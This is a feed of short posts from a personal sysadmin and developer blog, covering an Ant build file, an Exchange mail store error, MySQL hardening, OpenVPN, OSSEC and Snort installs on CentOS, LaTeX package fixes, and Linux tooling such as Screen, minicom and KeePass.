kush (at) kush.com.fj (Kush, Nishchal) — Fri, 20 Jul 2012 10:52:00 +1000

I am doing some development work using Java and am using ant to build my code. Decided to post a copy of the build.xml file here… sorry about the formatting

<project name="TODO-PROJ-NAME" basedir="." default="main">
 <property name="username" value="TODO-USERNAME"/>
 <property name="proj.name" value="TODO-PROJ-NAME"/>
 <property name="proj.ver" value="TODO-VER"/>
 <property name="proj.owner" value="TODO-COPYRIGHT"/>

 <tstamp>
 <format property="TODAY" pattern="yyyy-MM-dd HH:mm:ss" />
 </tstamp>
 
 <property name="src.dir" value="src"/>
 <property name="build.dir" value="bin"/>
 <property name="lib.dir" value="lib"/>
 <property name="classes.dir" value="${build.dir}/classes"/>
 <property name="jar.dir" value="${build.dir}/jar"/>
 <property name="javadoc.dir" value="${build.dir}/javadoc"/>

 <property name="main-class" value="fj.com.kush.ui.TODO-PROJ"/>

 <path id="project.classpath">
 <fileset dir="${lib.dir}">
 <include name="*.jar"/>
 </fileset>
 <pathelement path="${classes.dir}"/>
 </path>


 <target name="clean">
 <delete dir="${build.dir}"/>
 <delete>
 <fileset dir="." includes="**/*~" defaultexcludes="false"/>
 </delete> 
 </target>


 <target name="compile">
 <mkdir dir="${classes.dir}"/>
 <javac destdir="${classes.dir}" includeantruntime="false" debug="true" debuglevel="lines, vars, and source">
 <src path="${src.dir}"/>
 <classpath refid="project.classpath"/>
 </javac>
 </target>


 <target name="javadoc">
 <mkdir dir="${javadoc.dir}"/>
 <javadoc destdir="${javadoc.dir}">
 <fileset dir="${src.dir}"/>
 </javadoc>
 </target>


 <target name="release" depends="jar, javadoc" description="make a new release of the project"/>


 <target name="copy.properties">
 <mkdir dir="${classes.dir}"/>

 <patternset id="properties.files">
 <include name="**/*.properties"/>
 </patternset>

 <copy todir="${classes.dir}">
 <fileset dir="${src.dir}">
 <patternset refid="properties.files"/>
 </fileset>
 </copy>
 </target>


 <target name="jar" depends="compile,copy.properties">
 <mkdir dir="${jar.dir}"/>
 <jar destfile="${jar.dir}/${ant.project.name}.jar" basedir="${classes.dir}">
 <manifest>
 <attribute name="Implementation-Title" value="${proj.name}"/>
 <attribute name="Implementation-Version" value="${proj.ver}"/>
 <attribute name="Implementation-Vendor" value="${proj.owner}"/>
 <attribute name="Main-Class" value="${main-class}"/>
 <attribute name="Built-By" value="${username}"/>
 <attribute name="Built-Date" value="${TODAY}"/>
 <attribute name="Class-Path" value="./"/>
 </manifest>
 </jar>
 </target>


 <target name="run" depends="jar">
 <java jar="${jar.dir}/${ant.project.name}.jar" fork="true"/>
 </target>


 <target name="clean-build" depends="clean,jar"/>


 <target name="main" depends="clean,run"/>
</project>

Microsoft Windows Server 2003 for Small Business Server Microsoft Exchange Mail Store unmounts

kush (at) kush.com.fj (Kush, Nishchal) — Tue, 08 May 2012 09:59:00 +1000

At 08:59hrs this morning I got a call from a customer who was unable to receive e-mail. Logging into their server I discovered that there were indeed messages stuck in the Local Delivery queue. I checked the Application event logs and found the following event log

Event Type: Error

Event Source: MSExchangeSA
Event Category: MAPI Session
Event ID: 9175
Date: 8/05/2012
Time: 9:12:31 AM
User: N/A
Computer: ***DELETED***
Description:
The MAPI call ‘OpenMsgStore’ failed with the following error:
The attempt to log on to the Microsoft Exchange Server computer has failed.
The MAPI provider failed.
Microsoft Exchange Server Information Store
ID no: 8004011d-0512-00000000

For more information, click http://www.microsoft.com/contentredirect.asp.

I had to do some maintenance work on a Linux based server

kush (at) kush.com.fj (Kush, Nishchal) — Mon, 07 May 2012 16:37:00 +1000

I had to do some maintenance work on a Linux based server. It was mainly just archiving some files around and updating packages and configurations. However, as part of the maintenance I took the opportunity to put in some simple technical security controls in place and documented some of them here for my reference.

MySQL Database
There was a MySQL server running that was only needed for the local host, but a “netstat -ltn” indicated that it was not bound to any specific IP, i.e. listening on 0.0.0.0, so I bound it to the localhost IP of 127.0.0.1 by editing the /etc/my.cnf file using the entry bind-address=127.0.0.1

Installing OpenVPN 2.2 on Centos 5.7

kush (at) kush.com.fj (Kush, Nishchal) — Mon, 31 Oct 2011 15:43:00 +1000

OpenVPN is an SSL based VPN. There are other VPN solutions such as IPsec, etc. but OpenVPN provides a cost effective alternative. I like OpenVPN as it support two-way authentication, i.e. both the client and server authenticate using certificates. To install OpeVPN on CentOS we need a number of cryptographic libraries. The simplest way is to use the DAG/RPMForge repository.

Set-up the RPMForge repository [1], as this contains the packages necessary for the installation and the instructions are provided below. The instructions below are just to document this specific installation and therefore this blog post is not to be misinterpreted as a best practises guide. The instructions are adapted from the OpenVPN website [2], but this blog post is intended more as a quick and dirty guide to getting OpenVPN running on CentOS 5.7. Additionally the set-up and configuration of the client is considered beyond the scope of this blog post.

Installing OSSEC on Centos 5.7

kush (at) kush.com.fj (Kush, Nishchal) — Sun, 30 Oct 2011 19:04:00 +1000

OSSEC is an open source host-based IDS that performs log analysis, and is able to correlate and analyse logs for a number of Linux (and Windows, but that is outside the scope of this blog post) servers. The software architecture of OSSEC and the use of agents, lends OSSEC to flexible deployment and management [1].

Set-up the Atomic repository that already has the appropriate OSSEC packages and install them would be the easiest way. However I have a strong dislike for the use of the /var partition (most system administrators, hmm… well at-least I have always, set this up as a separate partition for ease of management and security reasons) as an install location, esp. when it has been specified as a “noexec” partition.

Installing Snort 2.9.1.2 on CentOS 5.7

kush (at) kush.com.fj (Kush, Nishchal) — Sat, 29 Oct 2011 21:11:00 +1000

CentOS 5.7 uses an older version of libpcap (0.9.4), but Snort’s Data Acquisition Library (daq) needs a newer version of libpcap (>=1.0.0). The latter is not an issue with the CentOS 6.0. Vishesh Kumar [1] provides an excellent instructions to getting Snort 2.9 to run on RHEL 5 (http://www.linuxmantra.com/2010/10/install-snort-29-on-rhel-5.html). The purpose of this post is not to duplicate his efforts, but to extend it slightly to include instructions for a complete Snort set-up.

Gnu Screen

kush (at) kush.com.fj (Kush, Nishchal) — Wed, 26 Oct 2011 17:04:00 +1000

Running some experiment on a VM server I rapidly ran out of patience having to wait for commands to run, and/or switching back and forth using Ctrl+Z, bg, and fg. My thoughts went back to Nick Black who had introduced me to Gnu Screen several years back, alas I has forgotten the short-cuts, Thankfully Google and the man page came to the rescue.

Since the VM server was a CentOS 6.0 box, with minimal install, I had to install Gnu Screen using;

APAcite on Mac OS X (Lion) with texlive

kush (at) kush.com.fj (Kush, Nishchal) — Tue, 25 Oct 2011 14:03:00 +1000

I had to recently rebuild my Mac Book Pro (gasp!), and decided to upgrade to Lion. The whole process was relatively painless. Files were copied back from backups, and updated from my SVN repositories, however I had troubles installing the appropriate Mac port package for the APACite classes.

sudo port install texlive-bibtex-extra

The latter yielded errors, which were logged in

/opt/local/var/macports/logs/_opt_local_var_macports_sources_rsync.macports.org_release_tarballs_ports_perl_p5-text-bibtex/p5.12-text-bibtex/main.log

Since the dependency p5.12-text-bibtex could not be installed, examination of the log file provided the following clues; error: ‘main’ must return ‘int’

APAcite on Mac OS X with texlive

kush (at) kush.com.fj (Kush, Nishchal) — Mon, 17 Oct 2011 10:30:00 +1000

While compiling a LaTeX document, a blank template of my PhD thesis to be exact, when I got the following error “! LaTeX Error: File `apacite.sty’ not found.” Again a quick search for Mac ports indicated that the texlive-bibtex-extra package was required. It was quickly installed using;

sudo port install texlive-bibtex-extra

Subsequent compile yielded more errors, this time it was “! Undefined control sequence. \abstract”. This was solved using the texlive-latex-extra package, installed using;

Evernote and Nix/NeverNote on Ubuntu 10.04

kush (at) kush.com.fj (Kush, Nishchal) — Wed, 21 Sep 2011 14:11:00 +1000

Evernote is a great tool. I absolutely love it. The only con, is that it’s nto available natively for Linux. So I have to run it under the Windows Emulator or wine. The installation is fairly simple.

wget http://evernote.s3.amazonaws.com/win4/public/Evernote_4.5.0.5229.exe
wine Evernote_4.5.0.5229.exe

Obviously not running natively there is a slight performance lag. This may be attributed to my 5 year old laptop. Although it’s still usable, the slow synchronization soon becomes tiresome. Fortunately there is a Linux native client called NeverNote[2].

Cisco console from Ubuntu 10.04

kush (at) kush.com.fj (Kush, Nishchal) — Wed, 21 Sep 2011 12:28:00 +1000

It’s pretty easy to set-up Cisco serial console connectivity on Ubuntu 10.04. The usual way is to use minicom. The serial ports usually called COM1-4 usually have the following address range;

COM1 - 3E8
COM2 - 2F8
COM3 - 3E8
COM4 - 2E8

To complete the setup first determine the address used for COM1 (or whichever serial port you wish to use) on your machine query the kernel buffer ring using the dmesg command, then install and configure the minicom, modem emulation tool.

KeePass on Ubuntu 10.04

kush (at) kush.com.fj (Kush, Nishchal) — Tue, 20 Sep 2011 01:17:00 +1000

KeePass is a very popular password management software. One of my client uses this for their systems and I was given a copy of their database. Since I mostly use linux when I am working, I needed a way to get this working on Ubuntu 10.04. Instructions are widely available, but again for my benefit, I have documented them here as step-by-step guide for myself. At the time of this blog post the 2.x version of KeePass was 2.16

Contact Me

kush (at) kush.com.fj (Kush, Nishchal) — Mon, 01 Jan 0001 00:00:00 +0000

Contact page for nishchal kush. Contact e-mail, linkedin, social media, public keys, and link to Github

meh!

kush (at) kush.com.fj (Kush, Nishchal) — Mon, 01 Jan 0001 00:00:00 +0000

About Nishchal Kush. Brief background on the website, education, experience, background, research interests, and publications. About page for personal website.